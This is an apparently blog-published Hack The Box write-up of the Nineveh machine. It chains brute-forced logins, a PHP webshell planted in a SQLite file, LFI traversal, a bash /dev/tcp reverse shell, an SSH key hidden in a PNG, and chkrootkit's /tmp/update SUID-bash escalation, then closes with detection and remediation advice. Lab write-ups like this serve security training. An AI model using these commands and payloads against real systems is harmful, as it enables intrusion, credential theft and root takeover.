Skip to content
Back to all posts

HTB: Nineveh

· 20 min medium Linux Nineveh

A multi-stage chain through phpLiteAdmin, LFI with path filtering, steganographic SSH key extraction, and a chkrootkit privilege escalation on an Ubuntu 16.04 host.

Overview

Nineveh is a medium Linux box that demands patience and lateral thinking. Two Apache instances on the same host serve entirely different applications: HTTP hosts a custom department login portal, HTTPS runs phpLiteAdmin. Neither is exploitable in isolation. The foothold requires chaining a write primitive (phpLiteAdmin database creation) with a read primitive (LFI in the department application), combining two vulnerabilities across two protocols to achieve code execution.

User access comes from an RSA private key hidden inside a PNG image, and root from the ironic situation of a rootkit detection tool (chkrootkit) providing a root escalation path through its own vulnerability. The box teaches a core principle: vulnerabilities that appear low-impact individually become critical when chained.

Reconnaissance

I start with a service scan to map the attack surface:

nmap -sC -sV -oA scans/nineveh 10.129.13.126
PortServiceProduct / VersionNotes
80HTTPApache httpd 2.4.18 (Ubuntu)Default page (178 bytes)
443HTTPSApache httpd 2.4.18 (Ubuntu)Image page, CN=nineveh.htb

Two ports, both Apache, but serving different content. The SSL certificate discloses the hostname nineveh.htb. SSH (port 22) is absent from the scan results. This is noteworthy: a Linux host without SSH exposed externally suggests either firewall filtering or port knocking. I revisit this later.

Apache 2.4.18 maps to Ubuntu 16.04 (Xenial). PHP 7.0.18 is confirmed via /info.php on port 80, which also leaks the full server configuration: loaded modules, disabled functions, open_basedir settings (none), and the document root at /var/www/html. The absence of open_basedir is significant because it means include() calls can traverse the entire filesystem.

Attack Surface Analysis

Different content on HTTP versus HTTPS is an immediate signal. Two web applications on the same host means two independent attack surfaces that may interact.

HTTP (port 80)

I enumerate directories with gobuster against port 80:

gobuster dir -u http://10.129.13.126 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php

Two endpoints of interest:

  • /department/login.php: a custom login form with username and password fields
  • /info.php: full phpinfo() output confirming PHP 7.0.18

The login form leaks username validity through differentiated error messages. Submitting a non-existent username returns “invalid username”, while submitting a valid username with a wrong password returns “Invalid Password” (note the capitalisation difference). This is a username enumeration vulnerability (CWE-204). Testing confirms admin is a valid account.

The phpinfo page is a high-value target on its own. It confirms allow_url_include is Off (ruling out RFI), disable_functions is empty (meaning system(), exec(), and passthru() are all available once code execution is achieved), and no open_basedir restriction. This information shapes the exploitation strategy: any LFI that includes a file containing PHP code will result in full command execution.

HTTPS (port 443)

Directory enumeration against the HTTPS vhost:

gobuster dir -u https://10.129.13.126 -k -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Two directories:

  • /db/: phpLiteAdmin v1.9 (SQLite web management interface, single password field)
  • /secure_notes/: directory listing containing nineveh.png (2.8 MB, unusually large for a simple image)

phpLiteAdmin v1.9 is a single-file PHP application for managing SQLite databases. The critical capability is that it allows creating new databases at arbitrary filesystem paths. If I can authenticate, I gain a filesystem write primitive: I can write arbitrary content to any path writable by the www-data user.

The 2.8 MB file size of nineveh.png is suspicious. A typical photograph at web resolution is under 500 KB. The excess size suggests appended data.

Vulnerability Analysis

The attack requires chaining four separate weaknesses. I document each with its root cause.

phpLiteAdmin weak credentials

The phpLiteAdmin instance on HTTPS accepts password123 after brute-forcing with Hydra:

hydra -l none -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
  10.129.13.126 https-post-form \
  "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password."

This is not a vulnerability in phpLiteAdmin itself; it is a deployment issue. phpLiteAdmin uses a single shared password stored in a configuration file (phpliteadmin.config.php). The application has no account lockout, no rate limiting, and no CAPTCHA, making brute-force trivial.

SQLite as a PHP code injection vector

A SQLite database is a binary file with structured headers, but PHP’s include() function does not validate file format. It scans the entire file for <?php opening tags and executes any PHP code it finds, ignoring surrounding binary data. This means a SQLite database containing PHP code in a table field becomes a valid PHP file when included.

phpLiteAdmin allows creating databases at arbitrary paths and inserting arbitrary data into tables. Combined, these features turn phpLiteAdmin into a webshell generator: create a database at a known path, insert a PHP payload into a table row, then trigger inclusion from another vulnerability.

This technique was documented as EDB-24044 in 2013.

AttributeValue
EDB24044
CWECWE-94 (Improper Control of Code Generation)
Root causePHP include() processes any file as PHP source
PrerequisitephpLiteAdmin authentication; a separate LFI vulnerability

LFI in department application

The department application’s manage.php page includes files via the notes GET parameter. The application applies a path filter: the string ninevehNotes must appear somewhere in the requested path. If the check fails, the application returns an error.

This filter is bypassable via directory traversal. The path /ninevehNotes/../../../../../etc/passwd satisfies the substring check (it contains ninevehNotes) while the ../ sequences resolve to a completely different location on the filesystem. The filter checks the raw string; the filesystem resolves the traversal. This is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).

The combination of this LFI with the phpLiteAdmin write primitive produces RCE: write PHP code into a SQLite database at a known path, then include that path through the LFI.

chkrootkit local privilege escalation (CVE-2014-0476)

chkrootkit versions before 0.50 contain a vulnerability in the slapper() function. The function tests for the Slapper worm by checking if /tmp/update exists. If it does, chkrootkit executes it. The execution happens in the context of the chkrootkit process, which runs as root via cron.

The root cause is CWE-427 (Uncontrolled Search Path Element): a privileged process executes a file from a world-writable directory (/tmp) without verifying ownership, permissions, or integrity. Any local user can place a script at /tmp/update and gain root execution.

AttributeValue
CVECVE-2014-0476
CVSS 3.17.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWECWE-427 (Uncontrolled Search Path Element)
Root causechkrootkit executes /tmp/update without path validation
Affectedchkrootkit < 0.50
PrerequisiteLocal shell access; chkrootkit running via cron as root

Exploitation

Step 1: Brute-force phpLiteAdmin

I use Hydra to brute-force the phpLiteAdmin login on HTTPS. The form uses a POST request with a single password field and returns “Incorrect password.” on failure:

hydra -l none -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
  10.129.13.126 https-post-form \
  "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password."

Result: password123. This grants full database management access.

Step 2: PHP code injection via SQLite

Inside phpLiteAdmin, I create a new database at /var/tmp/ninevehNotes.db. The filename includes ninevehNotes deliberately: this satisfies the LFI path filter without requiring directory traversal in the filename itself. I chose /var/tmp/ because it is world-writable and persists across reboots (unlike /tmp on systems with tmpfs).

I create a table and insert a PHP webshell:

CREATE TABLE cmd (code TEXT);
INSERT INTO cmd VALUES ('<?php system($_REQUEST["c"]); ?>');

The database file at /var/tmp/ninevehNotes.db now contains executable PHP embedded in the SQLite binary structure.

Step 3: Brute-force department login

The department login form on port 80 requires authentication before the LFI in manage.php is accessible. I brute-force with Hydra:

hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/best110.txt \
  10.129.13.126 http-post-form \
  "/department/login.php:username=^USER^&password=^PASS^:Invalid Password"

Result: admin:1q2w3e4r5t. The password is a keyboard walk pattern (top row, alternating digits), common in weak password lists.

Step 4: LFI to RCE

With authenticated access to the department application, I trigger the LFI to include the SQLite database containing PHP code:

http://10.129.13.126/department/manage.php?notes=/ninevehNotes/../../../../../var/tmp/ninevehNotes.db&c=id

Response (within binary SQLite data): uid=33(www-data) gid=33(www-data) groups=33(www-data)

The chain works as follows: the notes parameter passes the substring check (contains ninevehNotes), PHP’s include() opens the SQLite file, the interpreter scans past the binary headers, finds the <?php system(...) ?> tag in the table data, and executes it. The c parameter passes through $_REQUEST to system(), which runs id and returns the output.

I upgrade to a reverse shell:

# URL-encoded bash reverse shell via the c parameter
curl "http://10.129.13.126/department/manage.php?notes=/ninevehNotes/../../../../../var/tmp/ninevehNotes.db" \
  --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/10.10.14.X/9001 0>&1'"

Step 5: SSH key from steganography

The nineveh.png image at /secure_notes/ on HTTPS contains an RSA private key appended after the PNG IEND marker. PNG files have a well-defined end marker (IEND chunk); any data after it is ignored by image viewers but remains accessible to tools that read raw bytes.

This is not steganography in the cryptographic sense (no data hidden within pixel values). The key is simply concatenated to the file, visible with strings:

wget --no-check-certificate https://10.129.13.126/secure_notes/nineveh.png
strings nineveh.png | grep -A 30 'BEGIN.*KEY'

The output contains a full RSA key for the user amrois. I extract it:

strings nineveh.png | sed -n '/BEGIN.*KEY/,/END.*KEY/p' > amrois_key
chmod 600 amrois_key

SSH on port 22 is listening on the host but filtered by iptables from external connections. From the www-data reverse shell, I write the key to /var/tmp/ and connect via localhost:

ssh -i /var/tmp/amrois_key [email protected]

User flag captured. The SSH filtering explains why port 22 did not appear in the initial nmap scan. Port knocking may also be configured (several writeups mention knockd on this box), but connecting via localhost bypasses the need to discover the knock sequence.

Post-Exploitation

Enumeration

As amrois, I enumerate for privilege escalation paths:

ls -la /report/
# -rw-r--r-- 1 amrois amrois  ... report-25-06-22:00:01
# -rw-r--r-- 1 amrois amrois  ... report-25-06-22:00:02

The /report/ directory contains chkrootkit output files regenerated every minute. The timestamps confirm a cron job. I verify the chkrootkit version:

chkrootkit -V
# chkrootkit version 0.49

Version 0.49 is vulnerable to CVE-2014-0476.

Privilege escalation via chkrootkit

I create the /tmp/update file that chkrootkit will execute as root. Rather than a direct reverse shell (which requires timing), I create a SUID copy of bash for persistent root access:

echo '#!/bin/bash' > /tmp/update
echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' >> /tmp/update
chmod +x /tmp/update

After waiting up to 60 seconds for the cron job to fire:

ls -la /tmp/rootbash
# -rwsr-xr-x 1 root root 1037528 ... /tmp/rootbash

/tmp/rootbash -p
id
# uid=1000(amrois) gid=1000(amrois) euid=0(root)

The -p flag is critical: without it, bash drops the effective UID on startup, negating the SUID bit. Root flag captured.

What a real attacker does next

In a production environment, the post-exploitation checklist from this host would include:

  • Credential harvesting: /etc/shadow for crackable hashes, SSH authorised keys across all home directories, database credentials in phpLiteAdmin configuration and web application configs
  • Network pivoting: this host likely has internal interfaces not visible externally; ARP scanning and routing table inspection reveal the internal topology
  • Persistence: cron jobs, SSH key injection into root’s authorized_keys, or a PAM backdoor module
  • Evidence destruction: the chkrootkit reports in /report/ record execution history; a sophisticated attacker would sanitise these

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1190WAF rules for directory traversal sequences (../) in query strings
ExecutionT1059.004Process monitoring: /bin/sh or /bin/bash spawned by Apache worker
PersistenceT1053.003File integrity monitoring on /tmp/update
Credential accessT1552.004Anomalous SSH connections from www-data UID processes
Privilege escalationT1068Audit chkrootkit execution; alert on child processes spawned by chkrootkit
Brute-forceT1110.001Rate limiting or alerting on repeated POST failures to login endpoints

Host-level: File integrity monitoring (AIDE, OSSEC) would detect the creation of /tmp/update. Any SUID binary appearing in /tmp should trigger an immediate alert; SUID files outside /usr/bin, /usr/sbin, and /usr/lib are suspicious by default. Process tree monitoring would flag Apache spawning shell processes: the normal Apache process tree is apache2 -> apache2 (parent to worker), never apache2 -> sh -> bash.

Application-level: The phpLiteAdmin brute-force generates rapid sequential POST requests to /db/index.php, each with a different password value. Rate limiting (fail2ban watching Apache access logs) would block this. The LFI payload is visible in Apache access logs as a GET parameter containing ../ sequences.

Network-level: SSH connections originating from the www-data user (UID 33) are anomalous. Auditd rules on the connect syscall filtered by UID would catch this. In a production environment, www-data should never initiate outbound connections to port 22.

Remediation

PriorityActionEffortImpact
P0Upgrade chkrootkit to 0.50+LowCritical
P0Remove phpLiteAdmin or restrict access to localhost onlyLowCritical
P0Fix LFI in department application: use a whitelist of allowed includes rather than a substring checkMediumCritical
P1Set open_basedir in PHP configuration to restrict include() pathsLowHigh
P1Remove /info.php from production (leaks full server configuration)LowHigh
P1Remove SSH key from nineveh.png and rotate all SSH keysLowHigh
P2Deploy fail2ban for Apache to block brute-force against login formsLowMedium
P2Deploy file integrity monitoring (AIDE/OSSEC) for /tmp and /var/tmpMediumMedium
P2Implement differentiated error message fix: return the same error for invalid username and invalid passwordLowMedium
P3Upgrade OS from Ubuntu 16.04 to a supported releaseHighHigh

The phpLiteAdmin write primitive and the department LFI are individually medium severity. Chained together, they produce unauthenticated RCE. This is a textbook example of why vulnerability prioritisation must consider exploitability in context, not just individual CVSS scores. A vulnerability scanner would rate the LFI as medium and phpLiteAdmin’s weak password as low; the combination is critical.

The chkrootkit escalation is a deeper architectural problem. Security tooling that executes files from world-writable directories without integrity verification becomes the attack vector itself. The slapper() function in chkrootkit blindly executes /tmp/update because the original developer assumed only the Slapper worm would place a file there. Any cron job running as root that touches predictable paths in /tmp is exploitable by any local user. The fix is straightforward (upgrade chkrootkit), but the class of vulnerability (privileged execution of world-writable paths) should be audited across all cron jobs on the host.

The LFI substring check (ninevehNotes must appear in the path) is a common anti-pattern. Path-based filters applied to raw strings before filesystem resolution are always bypassable via traversal, null bytes (on older PHP versions), or encoding tricks. The correct fix is a whitelist of allowed include targets, not a pattern match on the requested path.

Key Takeaways

  1. Different content on HTTP versus HTTPS is a signal. Two web applications on the same host must be enumerated independently. The exploitation chain here requires combining vulnerabilities from both protocols, which would be invisible if only one were tested. Always run directory enumeration against each port and vhost separately.

  2. Write primitives chain with read primitives. phpLiteAdmin’s database creation is a filesystem write. The department application’s LFI is a filesystem read (via include()). Neither is critical alone; together they produce RCE. When auditing applications, map all read and write primitives and evaluate their pairwise combinations.

  3. PHP includes any file, not just PHP files. The include() function does not check file extensions or magic bytes. It scans the entire file contents for PHP tags. This means SQLite databases, log files, uploaded images with embedded PHP, and even /proc/self/environ (on older systems) are all valid inclusion targets if they contain <?php anywhere in their contents.

  4. Filtered ports are not closed ports. SSH was filtered externally but listening on localhost. Gaining code execution on the host and connecting via 127.0.0.1 bypasses firewall rules that only apply at the network boundary. Always check for locally listening services with ss -tlnp or netstat after gaining a shell.

  5. Security tooling can be the vulnerability. chkrootkit, a tool designed to detect rootkits, provided the root escalation path. Any privileged process that executes files from predictable world-writable locations is a latent privilege escalation vulnerability. Audit every cron job that runs as root for references to /tmp, /var/tmp, or other world-writable directories.

  6. Start simple with data extraction. The SSH key in nineveh.png was not hidden with any steganographic tool. It was appended after the PNG end marker, visible to strings in seconds. Always check strings, binwalk, and file before reaching for specialised stego tools like steghide or zsteg.